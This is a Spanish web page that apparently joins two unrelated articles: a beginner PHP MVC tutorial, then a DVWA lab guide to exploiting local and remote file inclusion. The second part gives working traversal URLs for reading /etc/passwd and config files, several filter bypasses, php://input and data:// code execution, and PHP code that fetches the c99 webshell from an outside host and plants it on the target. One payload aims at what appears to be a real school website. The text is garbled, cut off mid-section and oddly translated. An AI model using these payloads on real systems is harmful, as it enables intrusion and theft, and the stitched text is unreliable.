Inyección de archivos local y remota: aprovechando vulnerabilidades y sorteando filtros. Implementación de clases descendientes Modelo y Controlador, creación de Controladores de Vista C_View y C_Edit.

Muchas personas comienzan a escribir un proyecto para trabajar con una sola tarea, sin implicar que pueda convertirse en un sistema de gestión multiusuario, por ejemplo, contenido o, Dios no lo quiera, producción. Y todo parece genial y genial, todo funciona, hasta que empiezas a comprender que el código que se escribe consiste enteramente en muletas y código duro. El código se mezcla con diseño, consultas y muletas, a veces incluso ilegible. surge problema urgente: al agregar nuevas funciones, es necesario jugar con este código durante mucho tiempo, recordando "¿qué estaba escrito allí?" y maldicete en el pasado.

Es posible que incluso hayas oído hablar de patrones de diseño e incluso hayas hojeado estos maravillosos libros:

  • E. Gamma, R. Helm, R. Johnson, J. Vlissides “Técnicas de diseño orientada a objetos. Patrones de diseño";
  • M. Fowler "Arquitectura de aplicaciones de software empresarial".
Y muchos, impertérritos ante los enormes manuales y documentación, intentaron estudiar cualquiera de los marcos modernos y, ante la complejidad de su comprensión (debido a la presencia de muchos conceptos arquitectónicos hábilmente vinculados entre sí), pospusieron el estudio y el uso de herramientas modernas “en un segundo plano”.

Este artículo será útil principalmente para principiantes. De todos modos, espero que en un par de horas puedas hacerte una idea de implementaciones MVC patrón que subyace a todos los marcos web modernos, y también obtiene "alimento" para una mayor reflexión sobre "cómo hacerlo". Al final del artículo hay una selección de enlaces útiles que también le ayudarán a comprender en qué consisten los frameworks web (además de MVC) y cómo funcionan.

Es poco probable que los programadores PHP experimentados encuentren algo nuevo en este artículo, ¡pero sus comentarios y comentarios sobre el texto principal serán de gran ayuda! Porque Sin teoría la práctica es imposible, y sin práctica la teoría es inútil, luego primero habrá un poco de teoría y luego pasaremos a la práctica. Si ya está familiarizado con el concepto MVC, puede omitir la sección teórica e ir directamente a la práctica.

1. Teoría El patrón MVC describe una forma sencilla de estructurar una aplicación, cuyo propósito es separar la lógica empresarial de la interfaz de usuario. Como resultado, la aplicación es más fácil de escalar, probar, mantener y, por supuesto, implementar.

Veamos el diagrama conceptual del patrón MVC (en mi opinión, este es el diagrama más exitoso que he visto):

en arquitectura modelo MVC proporciona los datos y las reglas de lógica empresarial, la vista es responsable de la interfaz de usuario y el controlador proporciona la interacción entre el modelo y la vista.

Un flujo típico de una aplicación MVC se puede describir de la siguiente manera:

  • Cuando un usuario visita un recurso web, el script de inicialización crea una instancia de la aplicación y la inicia para su ejecución.
    Esto muestra una vista de, digamos, la página principal del sitio.
  • La aplicación recibe una solicitud del usuario y determina el controlador y la acción solicitados. En el caso de la página principal, se realiza la acción predeterminada ( índice).
  • La aplicación crea una instancia del controlador y ejecuta el método de acción,
    que, por ejemplo, contiene llamadas a modelos que leen información de la base de datos.
  • Luego de esto, la acción genera una vista con los datos obtenidos del modelo y muestra el resultado al usuario.
  • Modelo: contiene la lógica empresarial de la aplicación e incluye métodos de muestreo (pueden ser métodos ORM), procesamiento (por ejemplo, reglas de validación) y suministro de datos específicos, lo que a menudo lo hace muy denso, lo cual es bastante normal.
    El modelo no debe interactuar directamente con el usuario. Todas las variables relacionadas con la solicitud del usuario deben procesarse en el controlador.
    El modelo no debe generar HTML u otro código de visualización que pueda cambiar según las necesidades del usuario. Dicho código debe procesarse en vistas.
    El mismo modelo, por ejemplo: el modelo de autenticación de usuario se puede utilizar tanto en la parte de usuario como en la parte administrativa de la aplicación. En este caso se puede tomar codigo general en una clase separada y heredar de ella, definiendo métodos específicos para subaplicaciones en sus descendientes.

    Ver: se utiliza para especificar la visualización externa de los datos recibidos del controlador y el modelo.
    Las vistas contienen marcado HTML y pequeñas inserciones de código PHP para recorrer, formatear y mostrar datos.
    No debe acceder directamente a la base de datos. Esto es lo que deberían hacer los modelos.
    No debería funcionar con datos obtenidos a partir de una solicitud de usuario. Esta tarea debe ser realizada por el controlador.
    Puede acceder directamente a las propiedades y métodos de un controlador o modelos para obtener datos listos para la salida.
    Las vistas generalmente se dividen en una plantilla general, que contiene marcas comunes a todas las páginas (por ejemplo, un encabezado y pie de página) y partes de la plantilla que se utilizan para mostrar la salida de datos del modelo o mostrar formularios de entrada de datos.

    El controlador es el pegamento que conecta modelos, vistas y otros componentes en aplicación de trabajo. El responsable del tratamiento es responsable de procesar las solicitudes de los usuarios. El controlador no debe contener consultas SQL. Es mejor mantenerlos en modelos. El controlador no debe contener HTML ni otro tipo de marcado. Vale la pena ponerlo a la vista.
    En una aplicación MVC bien diseñada, los controladores suelen ser muy delgados y contienen sólo unas pocas docenas de líneas de código. Lo que no se puede decir sobre los Inspectores Gordos Estúpidos (SFC) en CMS Joomla. La lógica del controlador es bastante típica y la mayor parte se transfiere a clases base.
    Los modelos, por el contrario, son muy gruesos y contienen la mayoría de código relacionado con el procesamiento de datos, porque La estructura de datos y la lógica empresarial que contiene suelen ser bastante específicas de una aplicación en particular.

    1.1. Controlador frontal y controlador de página En la mayoría de los casos, la interacción del usuario con una aplicación web se produce haciendo clic en enlaces. Mire ahora la barra de direcciones de su navegador: desde este enlace recibió este texto. Otros enlaces, como los que se encuentran en el lado derecho de esta página, le proporcionarán contenido diferente. Entonces el enlace representa comando específico aplicación web.

    Espero que ya hayas notado que diferentes sitios pueden tener resultados perfectos. diferentes formatos construyendo una barra de direcciones. Cada formato puede mostrar la arquitectura de una aplicación web. Aunque no siempre es así, en la mayoría de los casos es un hecho claro.

    Consideremos dos opciones para la barra de direcciones, que muestran algo de texto y un perfil de usuario.

    Código de procesamiento aproximado en este caso:
    switch($_GET["action"]) ( case "about" : require_once("about.php"); // salto de página "Acerca de nosotros"; case "contacts" : require_once("contacts.php"); // salto de página "Contactos"; caso "comentarios" : require_once("feedback.php"); // salto de página "comentarios"; predeterminado: require_once("page404.php");
    Creo que casi todo el mundo ha hecho esto antes.

    Con un motor de enrutamiento de URL, puede configurar su aplicación para aceptar solicitudes como esta para mostrar la misma información:
    http://www.example.com/contacts/feedback

    Aquí los contactos representan el controlador y la retroalimentación es el método del controlador de contactos que muestra el formulario. comentario etc. Volveremos a esta cuestión en la parte práctica.

    También vale la pena saber que los enrutadores de muchos marcos web le permiten crear rutas URL personalizadas (especifique qué significa cada parte de la URL) y reglas para procesarlas.
    Ahora tenemos suficientes conocimientos teóricos para pasar a la práctica.

    2. Practica Primero, creemos la siguiente estructura de archivos y carpetas:


    De cara al futuro, diré que las clases principales Modelo, Vista y Controlador se almacenarán en la carpeta principal.
    Sus hijos se almacenarán en los directorios de controladores, modelos y vistas. El archivo index.php es el punto de entrada a la aplicación. El archivo bootstrap.php inicia la carga de la aplicación, conectando todos los módulos necesarios, etc.

    Iremos de forma secuencial; Abramos el archivo index.php y rellénelo con el siguiente código:
    ini_set("display_errors", 1); require_once "aplicación/bootstrap.php";
    No debería haber ninguna pregunta aquí.

    A continuación, vayamos inmediatamente al archivo bootstrap.php:
    require_once "núcleo/model.php"; require_once "núcleo/view.php"; require_once "núcleo/controlador.php"; require_once "núcleo/ruta.php"; Ruta::inicio(); //iniciar el enrutador
    Las primeras tres líneas incluirán archivos del kernel que actualmente no existen. Las últimas líneas incluyen el archivo con la clase de enrutador y lo lanzan para su ejecución llamando método estático comenzar.

    2.1. Implementación de un enrutador URL Desviémonos de la implementación por ahora patrón MVC y hagamos enrutamiento. El primer paso que debemos hacer es escribir el siguiente código en .htaccess:
    RewriteEngine en RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Este código redirigirá todo el procesamiento de la página a index.php, que es lo que necesitamos. ¿Recuerdas que en la primera parte hablamos del Front Controller?

    Colocaremos la ruta en archivo separado route.php al directorio principal. En este archivo describiremos la clase Ruta, que ejecutará métodos de controlador, que a su vez generarán la vista de página.

    Contenido del archivo route.php

    class Ruta ( función estática start() ( // controlador y acción predeterminada $controller_name = "Main"; $action_name = "index"; $routes = explode("/", $_SERVER["REQUEST_URI"]); // get el nombre del controlador if (!empty($routes)) ( $controller_name = $routes; ) // obtiene el nombre de la acción if (!empty($routes)) ( $action_name = $routes; ) // agrega prefijos $model_name = " Model_".$controller_name; $controller_name = "Controller_".$controller_name; $action_name = "action_".$action_name // conecta el archivo con la clase de modelo (puede que no haya un archivo de modelo) $model_file = strtolower ($model_name). ".php"; $model_path = "aplicación/modelos/".$model_file; if(file_exists($model_path)) (incluye "aplicación/modelos/".$model_file; ) // conecta el archivo con la clase de controlador $controller_file = strtolower ($controller_name).php"; $controller_path = "application/controllers/".$controller_file; if(file_exists($controller_path)) (incluye "application/controllers/".$controller_file;


    ) else ( /* sería correcto lanzar una excepción aquí, pero para simplificar las cosas, redireccionaremos inmediatamente a la página 404 */ Route::ErrorPage404(); ) // crea un controlador $controller = new $controller_name ;

    $acción = $nombre_acción; if(method_exists($controller, $action)) ( // llamar a la acción del controlador $controller->$action(); ) else ( // aquí también sería más prudente lanzar una excepción Route::ErrorPage404(); ) ) función ErrorPage404( ) ($host = "http://".$_SERVER["HTTP_HOST"]."/"; encabezado("HTTP/1.1 404 no encontrado"); encabezado("Estado: 404 no encontrado") ; encabezado(" Ubicación:".$host."404"); Observo que la clase implementa una lógica muy simplificada (a pesar del voluminoso código) y puede incluso tener problemas de seguridad. Esto se hizo intencionalmente, porque... Escribir una clase de enrutamiento completa merece al menos un artículo aparte. Veamos los puntos principales...
    El elemento de matriz global $_SERVER["REQUEST_URI"] contiene

    dirección completa por el cual el usuario contactó. Por ejemplo: ejemplo.ru/contacts/feedback Usando la función explotar La dirección se divide en componentes. Como resultado, obtenemos el nombre del controlador, en el ejemplo dado, este es controlador.

    contactos

    Así, al dirigirse a, por ejemplo, la dirección:
    ejemplo.com/portfolio
    o
    ejemplo.com/portfolio/index
    El enrutador realizará las siguientes acciones:

  • incluirá el archivo model_portfolio.php de la carpeta de modelos, que contiene la clase Model_Portfolio;
  • incluirá el archivo controlador_portfolio.php de la carpeta de controladores, que contiene la clase Controlador_Portfolio;
  • creará una instancia de la clase Controller_Portfolio y llamará a la acción predeterminada: action_index, descrita en ella.
  • Si el usuario intenta acceder a la dirección de un controlador inexistente, por ejemplo:
    ejemplo.com/ufo
    luego será redirigido a la página "404":
    ejemplo.com/404
    Lo mismo ocurrirá si el usuario accede a una acción que no está descrita en el responsable del tratamiento.2.2. Volvamos a la implementación de MVC. Vayamos a carpeta principal y agregue tres archivos más al archivo route.php: model.php, view.php y controlador.php


    Permítanme recordarles que contendrán clases base, que ahora comenzaremos a escribir.

    Contenido del archivo model.php
    Modelo de clase (función pública get_data() ())
    La clase modelo contiene un único método de recuperación de datos vacío, que se anulará en las clases descendientes. Cuando creemos clases descendientes todo quedará más claro.

    Contenido del archivo view.php
    class View ( //public $template_view; // aquí puedes especificar vista general por defecto. function generate($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // convierte elementos de la matriz en variables extract($data); ) */ incluye "aplicación/vistas/". $template_view;
    No es difícil adivinar que el método generar destinado a formar una vista. Se le pasan los siguientes parámetros:

  • $content_file - vistas que muestran el contenido de la página;
  • $template_file - plantilla común a todas las páginas;
  • $data es una matriz que contiene elementos de contenido de la página. Generalmente se completa en el modelo.
  • La función de inclusión conecta dinámicamente una plantilla general (vista) dentro de la cual se incrustará la vista.
    para mostrar el contenido de una página específica.

    En nuestro caso, la plantilla general contendrá encabezado, menú, barra lateral y pie de página, y el contenido de la página estará contenido en un formulario separado. Nuevamente, esto se hace por simplicidad.

    Contenido del archivo controlador.php
    controlador de clase (público $modelo; público $vista; función __construct() ( $this->vista = nueva Vista(); ) función action_index() ( ) )
    Método índice_acción- esta es una acción llamada de forma predeterminada; la anularemos al implementar clases descendientes.

    2.3. Implementación de las clases descendientes Modelo y Controlador, creación de Vistas ¡Ahora comienza la diversión! Nuestro sitio web de tarjeta de presentación constará de las siguientes páginas:
  • Hogar
  • Servicios
  • Cartera
  • Contactos
  • Y también - la página "404"
  • Cada página tiene su propio controlador de la carpeta de controladores y una vista de la carpeta de vistas. Algunas páginas pueden utilizar un modelo o modelos de la carpeta de modelos.


    En la figura anterior, el archivo template_view.php está resaltado por separado; esta es una plantilla que contiene marcas comunes a todas las páginas. En el caso más sencillo podría verse así:
    Hogar
    Para darle al sitio un aspecto presentable, diseñamos plantilla css e integrarlo en nuestro sitio web cambiando la estructura del marcado HTML y Conexiones CSS y archivos JavaScript:

    Al final del artículo, en la sección “Resultado”, hay un enlace a un repositorio de GitHub con un proyecto en el que se han dado pasos para integrar una plantilla sencilla.

    2.3.1. Creando la página principal Comencemos con el controlador controlador_main.php, aquí está su código:
    clase Controller_Main extiende el controlador (función action_index() ($this->view->generate("main_view.php", "template_view.php"); ) )
    en método generar instancia de la clase Ver, se pasan los nombres de los archivos de la plantilla general y la vista con el contenido de la página.
    Además de la acción de índice, el controlador puede, por supuesto, contener otras acciones.

    Revisamos el archivo de vista general anteriormente. Considere el archivo de contenido main_view.php:
    ¡Bienvenido!

    OLOLOSH TEAM es un equipo de especialistas de primera clase en el campo del desarrollo de sitios web con muchos años de experiencia coleccionando máscaras mexicanas, estatuas de bronce y piedra de la India y Ceilán, bajorrelieves y esculturas creadas por maestros del África Ecuatorial hace cinco o seis siglos...


    Contiene marcado simple sin llamadas PHP.
    Para mostrar la página principal, puede utilizar una de las siguientes direcciones:

    Consideraremos un ejemplo utilizando una vista que muestra los datos obtenidos del modelo siguiente.

    2.3.2. Crear una página “Portafolio” En nuestro caso, la página “Portafolio” es la única página que utiliza el modelo.
    El modelo suele incluir métodos de muestreo de datos, por ejemplo:
  • métodos de bibliotecas nativas pgsql o mysql;
  • métodos de bibliotecas que implementan la abstracción de datos. Por ejemplo, métodos de la biblioteca PEAR MDB2;
  • métodos ORM;
  • métodos para trabajar con NoSQL;
  • etc.
  • Para simplificar, aquí no utilizaremos consultas SQL ni declaraciones ORM. En su lugar, emularemos datos reales y devolveremos inmediatamente una serie de resultados.
    Coloque el archivo de modelo model_portfolio.php en la carpeta de modelos. Aquí tenéis su contenido:
    clase Model_Portfolio extiende el modelo ( función pública get_data() ( return array(array("Año" => "2012", "Sitio" => "http://DunkelBeer.ru", "Descripción" => "Sitio promocional de la cerveza oscura Dunkel de fabricante alemán Löwenbraü producido en Rusia por la empresa cervecera "SUN InBev."), array("Año" => "2012", "Sitio" => "http://ZopoMobile.ru", "Descripción" => "Idioma ruso catalogar teléfonos chinos empresa zopo en Basado en Android SO y accesorios para ellos."), // todo); ) )

    La clase de controlador del modelo está contenida en el archivo controlador_portfolio.php, aquí está su código:
    clase Controller_Portfolio extiende Controlador ( function __construct() ($this->model = new Model_Portfolio(); $this->view = new View(); ) function action_index() ($data = $this->model->get_data( ); $this->view->generate("portfolio_view.php", "template_view.php", $datos ) );
    a una variable datos se escribe la matriz devuelta por el método obtener_datos que vimos antes.
    Luego, esta variable se pasa como parámetro del método. generar, que también contiene: el nombre del archivo con la plantilla general y el nombre del archivo que contiene la vista con el contenido de la página.

    La vista que contiene el contenido de la página se encuentra en el archivo portfolio_view.php.
    Cartera

    Todos los proyectos de la siguiente tabla son ficticios, así que ni siquiera intentes seguir los enlaces proporcionados.
    AñoProyectoDescripción


    Aquí todo es sencillo, la vista muestra los datos obtenidos del modelo.

    2.3.3. Crear las páginas restantes Las páginas restantes se crean de la misma manera. Su código está disponible en el repositorio de GitHub, cuyo enlace se proporciona al final del artículo, en la sección "Resultado".3. Resultado Esto es lo que sucedió al final:

    Captura de pantalla del sitio web de tarjetas de presentación resultante



    Enlace de GitHub: https://github.com/vitalyswipe/tinymvc/zipball/v0.1

    Pero en esta versión esbocé las siguientes clases (y sus tipos correspondientes):

    • Controller_Login en el que se genera una vista con un formulario para ingresar nombre de usuario y contraseña, luego de completarlo se realiza el procedimiento de autenticación y, si tiene éxito, se redirige al usuario al panel de administración.
    • Contorller_Admin con una acción de índice que verifica si el usuario estaba previamente autorizado en el sitio como administrador (si es así, se muestra la vista del panel de administración) y una acción de cierre de sesión para cerrar sesión.
    La autenticación y la autorización son un tema diferente, por lo que no se analizan aquí, pero solo se proporciona el enlace proporcionado anteriormente para que tenga algo desde donde comenzar.4. Conclusión El patrón MVC se utiliza como base arquitectónica en muchos frameworks y CMS que fueron creados para poder desarrollar una mayor calidad. soluciones complejas para más Corto plazo. Esto fue posible aumentando el nivel de abstracción, ya que existe un límite en la complejidad de las estructuras con las que puede operar el cerebro humano.

    Pero no siempre es recomendable utilizar frameworks web como Yii o Kohana, que constan de varios cientos de archivos, al desarrollar aplicaciones web simples (por ejemplo, sitios de tarjetas de presentación). Ahora podemos crear un hermoso modelo MVC para no mezclar Php, Html, CSS y código javascript en un archivo.

    Este artículo es más un punto de partida para aprender CMF que un ejemplo de algo realmente correcto que puede utilizar como base para su aplicación web. Quizás incluso te haya inspirado y ya estés pensando en escribir tu propio microframework o CMS basado en MVC. Pero, antes de reinventar otra rueda con “blackjack y putas”, piénsalo de nuevo: ¡¿tal vez sería más razonable dirigir tus esfuerzos al desarrollo y ayuda a la comunidad de un proyecto ya existente?!

    P.D.: El artículo fue reescrito teniendo en cuenta algunos comentarios dejados en los comentarios. La crítica resultó muy útil. A juzgar por la respuesta: comentarios, MP y la cantidad de usuarios que agregaron la publicación a favoritos, la idea de escribir esta publicación resultó no ser tan mala. Desafortunadamente, no es posible tener en cuenta todos los deseos y escribir más y con más detalle debido a la falta de tiempo... pero tal vez esos misteriosos individuos que rechazaron la versión original lo hagan. ¡Buena suerte con tus proyectos!

    5. Una selección de enlaces útiles sobre el tema El artículo toca muy a menudo el tema de los frameworks web; se trata de un tema muy amplio, porque incluso los microframeworks constan de muchos componentes inteligentemente interconectados y se necesitaría más de un artículo para hablar de ellos. componentes. Sin embargo, decidí presentar aquí una pequeña selección de enlaces (que seguí mientras escribía este artículo) que de una forma u otra se relacionan con el tema de los marcos.

    Etiquetas: Agregar etiquetas

    A veces la inyección de archivos se llama inclusión, a veces se considera parte de la inyección de PHP (inyección de código). Esto último no es del todo cierto, ya que las vulnerabilidades de inyección de archivos no están necesariamente relacionadas con la ejecución del código.

    La vulnerabilidad puede ocurrir al usar (en PHP) expresiones como:

    • requerir_una vez,
    • incluir_una vez,
    • incluir,
    • requerir

    Cada uno de ellos tiene pequeños matices, pero lo que tienen en común es que incluyen un archivo en el programa y lo ejecutan. Estas expresiones pueden causar problemas si pasan la entrada del usuario y el programa no las filtra lo suficiente.

    Por cierto, sí, son expresiones, no funciones. No es necesario escribir así:

    Requerir("algunarchivo.php");

    Una opción más preferible es:

    Requerir "algún archivo.php";

    Pero ésta es una retirada que no tiene nada que ver con la vulnerabilidad.

    Si los archivos se incluyen utilizando las expresiones require_once, include_once, include, require, entonces podemos decir que la inyección de código también se produce al mismo tiempo. Sin embargo, es posible incluir archivos sin ejecutar código en el servidor. Por ejemplo, el sitio web cambia. apariencia basado en el tema elegido por el usuario. Los nombres de los temas corresponden. título HTML archivos que se leen en el servidor. En esta situación, si la solicitud se forma de tal manera que se lee un archivo que no está diseñado para esto (por ejemplo, un archivo PHP), en lugar de ejecutar los comandos, se mostrará código fuente PHP.

    El usuario puede especificar un archivo remoto o local como archivo de inclusión. En base a esto, se distinguen dos variedades correspondientes:

    • inyección de archivos locales
    • inyección remota de archivos

    El peligro de la inclusión remota es la ejecución de código arbitrario en un servidor vulnerable. Esto generalmente se usa para infecciones de puerta trasera.

    Peligro implementación local archivos es que el usuario puede mostrar el contenido de archivos para los que no tiene derecho a ver (códigos fuente de programas, archivos del sistema con configuraciones y contraseñas). Además, con la inclusión local, es posible ejecutar código de terceros (por ejemplo, para una infección de puerta trasera), si previamente se cargó un archivo con código malicioso en el servidor, o se utilizó el método de envenenamiento de registros, o algún otro método.

    La inclusión local de archivos no es menos peligrosa que la introducción de archivos remotos.

    Explotación de la incrustación de archivos locales

    Puede probar esta vulnerabilidad en Damn Vulnerable Web Application (DVWA). Estoy usando Web Security Dojo, donde DVWA ya está instalado.

    Empecemos por un nivel bajo (seguridad DVWA baja).

    Vayamos a la página de inclusión de archivos http://localhost/dvwa/vulnerabilities/fi/?page=include.php

    • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
    • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
    • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

    Si se pasa un valor similar a un nombre de archivo (archivo1.php, archivo2.php) como argumento a una variable, entonces podemos asumir que se está utilizando una inclusión. Dado que la extensión del archivo es .php, lo más probable es que el archivo se ejecute en el servidor (es decir, es posible la inyección de código) y no solo se muestre para su visualización.

    DVWA tiene una página http://localhost/dvwa/about.php, está ubicada dos niveles arriba, intentemos verla de esta manera: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ acerca de.php

    Sí, existe una vulnerabilidad de inclusión local. Al ingresar, las transiciones a los directorios superiores (../) no se filtran; la lista de archivos para inclusión no es exhaustiva (en lugar del archivo sugerido*.php, elegimos about.php).

    A veces se utilizan archivos incluidos, pero las direcciones pueden verse, por ejemplo, así: http://localhost/dvwa/vulnerabilities/fi/?page=file1. En este caso, se puede agregar una extensión al script y el script incrusta un archivo cuyo nombre finalmente se forma en el script. Como regla general, una vulnerabilidad de esta forma es difícil o imposible de explotar.

    A menudo, como ejemplo de explotación de la inclusión de un archivo local, les gusta dar algo como esto:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

    Como podemos ver, funcionó. Pero como los navegadores web ignoran /r/n (los caracteres nueva linea), entonces necesitamos abrir el código fuente para que las entradas sean legibles:

    Desafortunadamente, no hay contraseñas en el archivo /etc/passwd durante mucho tiempo.

    Puedes extraerlo del servidor. diferentes archivos configuración, certificados SSL, en principio, cualquier archivo que esté abierto para su lectura por todos los usuarios o para el cual el servidor web tenga derechos suficientes para leer:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

    En cuanto a los hostings compartidos, a veces puedes buscar en las carpetas de otras personas (nuevamente, cuando configuración incorrecta derechos de usuario).

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

    La tarea se complica por el hecho de que necesitamos saber la ruta al archivo.

    Explotando la inyección remota de archivos

    PHP es un lenguaje de programación muy flexible y fácil de desarrollar. Los comandos para introducir archivos y algunos otros reconocen perfectamente y procesan correctamente no solo archivos locales, pero también la URL...

    Intentemos escribir la URL del sitio https://site/ en lugar del nombre del archivo:

    http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

    Mira que interesante resulta:

    Sucedió lo siguiente: el intérprete PHP recibió un comando para incluir el archivo/sitio https://site/. Abrió/descargó la dirección correspondiente y envió el código resultante para su ejecución como programas PHP. Debido a que PHP sólo ejecuta código rodeado por etiquetas apropiadas (en en este caso no había ningún código), y todo lo demás se muestra tal cual, luego toda la página del sitio web se muestra tal cual.

    Por supuesto, esta vulnerabilidad nos interesa no porque podamos ver otros sitios a través de un sitio.

  • Generar/encontrar el código fuente de la puerta trasera
  • Creamos el correcto desde el punto de vista. archivo PHP para ser ejecutado en un servidor que almacena el código fuente de la puerta trasera en un archivo PHP
  • Guarde el código recibido en un archivo de TEXTO
  • Sube este archivo de texto a un servidor controlado
  • Guardamos nuestra puerta trasera en un servidor vulnerable mediante la inclusión remota de archivos
  • Resalté la palabra "texto" porque en el servidor bajo nuestro control debería haber un archivo de texto que no debería ejecutarse en nuestro servidor. Nuestro servidor sólo necesita mostrar su contenido.

    Para crear una puerta trasera, puede utilizar Weevely, PhpSploit o tomar soluciones ya preparadas. Esta vez usemos uno ya hecho.

    Asignaré a la variable $backdoor el código fuente de la puerta trasera, que descargo de Github. Luego uso la función file_put_contents para guardar el código fuente resultante en el archivo c99unlimited.php.

    El código lo he colocado en un archivo de texto.

    $puerta trasera = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$puerta trasera"); eco "¡hecho!";

    Está disponible en http://miloserdov.org/sec.txt

    Ahora, usando una inclusión remota, cargamos una puerta trasera a un servidor vulnerable.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Preste atención a la inscripción ¡Listo!, se muestra en el guión, es decir. Probablemente todo salió bien.

    Dado que el script que incluye los archivos se encuentra en el directorio http://localhost/dvwa/vulnerabilities/fi/, y nuestro nuevo archivo con la puerta trasera debería haberse guardado con el nombre c99unlimited.php, la dirección completa de la puerta trasera en el servidor vulnerable debería ser: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Comprobamos:

    Genial, ahora tenemos todas las funciones que un administrador de servidor web podría necesitar... y aquellos que tienen acceso a su servidor.

    Omitir el filtrado al incluir archivos localmente

    Pasemos a nivel intermedio(media) seguridad (configurable en DVWA Security).

    Si miramos el código fuente (botón Ver código fuente):

    luego veremos que los caracteres ../ ahora están filtrados. Esto evitará que nos traslademos a un directorio superior a aquel en el que se ejecuta el script vulnerable.

    Aquellos. nada funcionará así:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Pensemos en cómo funciona el filtrado en este caso. Digamos que se filtra la palabra "malo", luego aparece una línea como

    bueno malo bueno

    después de filtrar se verá así:

    bien bien

    Y si insertas una línea como esta

    malo malo xo

    luego, después de filtrar (se eliminará lo "malo"), resultará

    Gravemente

    En ../ insertamos ../ en el medio nuevamente, resulta ..././

    Probemos con esta dirección http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / mi.cnf

    ¡Funcionó!

    Otra solución podría ser codificar caracteres en codificación hexadecimal, un ejemplo de esta línea:

    http://ejemplo.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" se puede sustituir por "%2E%2E%2f".

    También se practica la codificación hexadecimal doble, en la que “../” se reemplaza por “%252E%252E%252F”

    Inclusión local de archivos al agregar una extensión en un script

    Si el código que incluye archivos se ve así:

    Aquellos. Si se agrega un .php o alguna otra extensión a cualquier entrada del usuario, esto no permite que la solicitud se forme de tal manera que se pueda llevar a cabo un ataque.

    Existen varias técnicas que están diseñadas para descartar la extensión, pero pueden considerarse obsoletas ya que funcionan en PHP 5.3, y aun así no en todas las versiones. Sin embargo, los administradores de servidores web son clínicamente conservadores y prefieren no tocar nada si funciona. Aquellos. Existe la posibilidad de encontrar un servidor con una versión muy antigua de PHP y usted debe conocer estas técnicas.

    Usando el byte nulo %00 (byte nulo)

    Se agrega un byte nulo al final de la solicitud para ignorar la extensión:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    El segundo método se llama ataque de poda de ruta. La conclusión es que PHP trunca rutas de más de 4096 bytes. En este caso, PHP abre el archivo correctamente, incluso si hay barras y puntos al final de su nombre. Si pasa como parámetro algo como?param1=../../../../etc/passwd/./././././ (donde ./ se repite miles de veces), entonces el archivo final junto con la extensión (que agregó el script, como resultado de lo cual el nombre del archivo pasó a incluir/../../../../etc/passwd/./././././ .php) será descartado. Y el nombre del archivo será include/../../../../etc/passwd/./././././. Y dado que PHP no se confunde con las barras diagonales y ./ al final del archivo, simplemente las ignora, entonces total PHP abrirá el archivo en include/../../../../etc/passwd.

    Omitir el filtrado para la inyección remota de archivos

    Como ya vimos en el código fuente, el nivel de seguridad medio también filtra http:// y https://.

    Ahora http://localhost/dvwa/vulnerabilities/fi/?. Usaremos exactamente la misma técnica que para evitar el filtrado con inclusión local. Solicitud generada:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    Y también tenga en cuenta que no se filtra, por ejemplo ftp, es decir. Esta opción funcionaría sin ningún truco:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Obteniendo el código fuente scripts PHP al incluir archivos de php://filter

    Este truco no requiere la inclusión remota de archivos. Se utilizará una especie de meta contenedor php://filter.

    Digamos que queremos ver el código fuente del archivo file1.php, entonces, para nuestra situación, la solicitud estará compuesta de esta manera:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Preste atención a la cadena sin sentido de letras y números: este es el código fuente del archivo file1.php en codificación base64. Como es base64, también se admiten archivos binarios.

    Decodificamos el archivo:

    Ejecución remota de código con php://input

    Esto no es como incrustar archivos y nuevamente no requiere que cargue archivos.

    Para ayudar, usaré la extensión Firefox, también puedes usarla o cualquier otro programa (por ejemplo, curl) que pueda transferir datos usando el método POST.

    php://input tiene acceso al cuerpo sin formato de la solicitud HTTP. Para comprender qué hace include("php://input"), abra la página

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    Y en el cuerpo de la solicitud enviar PHP correcto código (por ejemplo, utilizando el método POST). Esto le permitirá realizar cualquier actividad permitida. servidor remoto¡función!

    Ejecución remota de código con datos://

    Además, PHP admite el esquema de URL data://. Puede colocar el código directamente en. OBTENER parámetro! La siguiente prueba no requiere ninguna herramienta especial, sólo un navegador normal para realizar el ataque.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Algunos firewalls de aplicaciones web pueden detectar una cadena sospechosa en una URL y bloquear la solicitud maliciosa. Pero hay una manera de cifrar la cadena con al menos codificación base64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Ejecute comandos arbitrarios desde /proc/self/environ

    /proc/self/environ es el almacenamiento variables de proceso. Si el proceso Apache tiene derechos suficientes para acceder a él, al abrir una página web que contenga una inclusión con una URL similar,

    www.website.com/view.php?page=../../../../../proc/self/environ

    generará algo como

